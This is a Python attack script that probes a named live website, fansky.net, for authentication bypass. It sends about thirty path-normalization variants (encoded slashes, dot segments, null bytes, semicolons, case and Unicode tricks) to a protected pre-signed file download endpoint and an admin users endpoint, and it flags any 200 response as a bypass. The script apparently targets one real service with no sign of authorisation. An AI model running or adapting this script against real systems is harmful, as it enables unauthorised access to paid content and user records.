#!/usr/bin/env python3
import requests, json

BASE = "https://www.fansky.net"
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
s = requests.Session()
s.headers.update(UA)
TIMEOUT = 25
SIG_401 = "Please register or log in first"

def req(method, path, **kw):
    url = BASE + path
    try:
        r = s.request(method, url, timeout=TIMEOUT, allow_redirects=False, **kw)
        return r.status_code, r.text[:160].replace("\n"," ")
    except Exception as e:
        return -1, f"ERR:{e}"

def t(method, path, label="", **kw):
    code, body = req(method, path, **kw)
    mark = ""
    if code == 200: mark = "  <<<<< 200 BYPASS"
    elif code not in (401,-1): mark = f"  <<<<< non-401 ({code})"
    print(f"{label:26s} {method:6s} {path[:110]:110s} -> {code} {body[:90]}{mark}")
    return code, body

# Protected targets
P_DL = "/api/v1/creator/products/61297/attachments/106/pre-signed-url"
P_ADMIN = "/api/v1/admin-dashboard/users"

print("################ PATH NORMALIZATION on PROTECTED download endpoint ################")
variants = [
    ("baseline", P_DL),
    ("trailing-slash", P_DL + "/"),
    ("double-slash-v1", "/api/v1//creator/products/61297/attachments/106/pre-signed-url"),
    ("double-slash-mid", "/api/v1/creator//products/61297/attachments/106/pre-signed-url"),
    ("double-slash-end", "/api/v1/creator/products/61297/attachments/106//pre-signed-url"),
    ("pct2f", "/api/v1%2fcreator/products/61297/attachments/106/pre-signed-url"),
    ("pct2f2", "/api/v1%2Fcreator/products/61297/attachments/106/pre-signed-url"),
    ("pct252f", "/api/v1%252fcreator/products/61297/attachments/106/pre-signed-url"),
    ("dot-dot", "/api/v1/creator/products/61297/attachments/106/../106/pre-signed-url"),
    ("dot-dot2", "/api/v1/creator/products/61297/attachments/106/../pre-signed-url"),
    ("dot", "/api/v1/./creator/products/61297/attachments/106/pre-signed-url"),
    ("dotdot-root", "/api/v1/creator/../creator/products/61297/attachments/106/pre-signed-url"),
    ("pct2e2e", "/api/v1/creator/products/61297/attachments/106%2f..%2f106/pre-signed-url"),
    ("trailing-dot", P_DL + "/."),
    ("trailing-dotdot", P_DL + "/.."),
    ("upper-api", "/API/V1/creator/products/61297/attachments/106/pre-signed-url"),
    ("upper-mixed", "/Api/V1/creator/products/61297/attachments/106/pre-signed-url"),
    ("upper-creator", "/api/v1/Creator/products/61297/attachments/106/pre-signed-url"),
    ("nullbyte", P_DL + "%00"),
    ("nullbyte-mid", "/api/v1/creator/products/61297/attachments/106/pre-signed-url%00.json"),
    ("semicolon", "/api/v1/creator/products/61297;foo/attachments/106/pre-signed-url"),
    ("semicolon-v1", "/api/v1;foo/creator/products/61297/attachments/106/pre-signed-url"),
    ("matrix", "/api/v1/creator/products/61297/attachments/106/pre-signed-url;.js"),
    ("unicode-fullslash", "/api/v1\u2215creator/products/61297/attachments/106/pre-signed-url"),
    ("unicode-dot", "/api/v1/creator/products/61297/attachments/106/pre-signed-url\u3002"),
    ("space", "/api/v1/creator/products/61297/attachments/106/pre-signed-url%20"),
    ("extra-slash-lead", "//api/v1/creator/products/61297/attachments/106/pre-signed-url"),
    ("pct25", "/api/v1%252F%252Fcreator/products/61297/attachments/106/pre-signed-url"),
    ("backslash", "/api/v1/creator/products/61297/attachments/106/pre-signed-url%5c"),
    ("encoded-backslash", "/api/v1/creator/products/61297/attachments/106/pre-signed-url\\"),
]
for label, p in variants:
    t("POST", p, label, json={"downloadMethod":"download","regenerate":False})

print()
print("################ PATH NORMALIZATION on PROTECTED admin endpoint ################")
for label, p in variants:
    t("GET", p.replace("/creator/products/61297/attachments/106/pre-signed-url",""), label + "-admin")

print()
print("################ PATH NORMALIZATION on PUBLIC endpoint (does it turn 401?) ################")
# public /api/v1/creator/products -> 200 "Creator not found". Try variants that add depth.
pub_variants = [
    ("pub-base", "/api/v1/creator/products"),
    ("pub-trailing", "/api/v1/creator/products/"),
    ("pub-double", "/api/v1//creator/products"),
    ("pub-dot", "/api/v1/./creator/products"),
    ("pub-pct2f", "/api/v1%2fcreator/products"),
    ("pub-case", "/API/v1/creator/products"),
]
for label, p in pub_variants:
    t("GET", p, label)
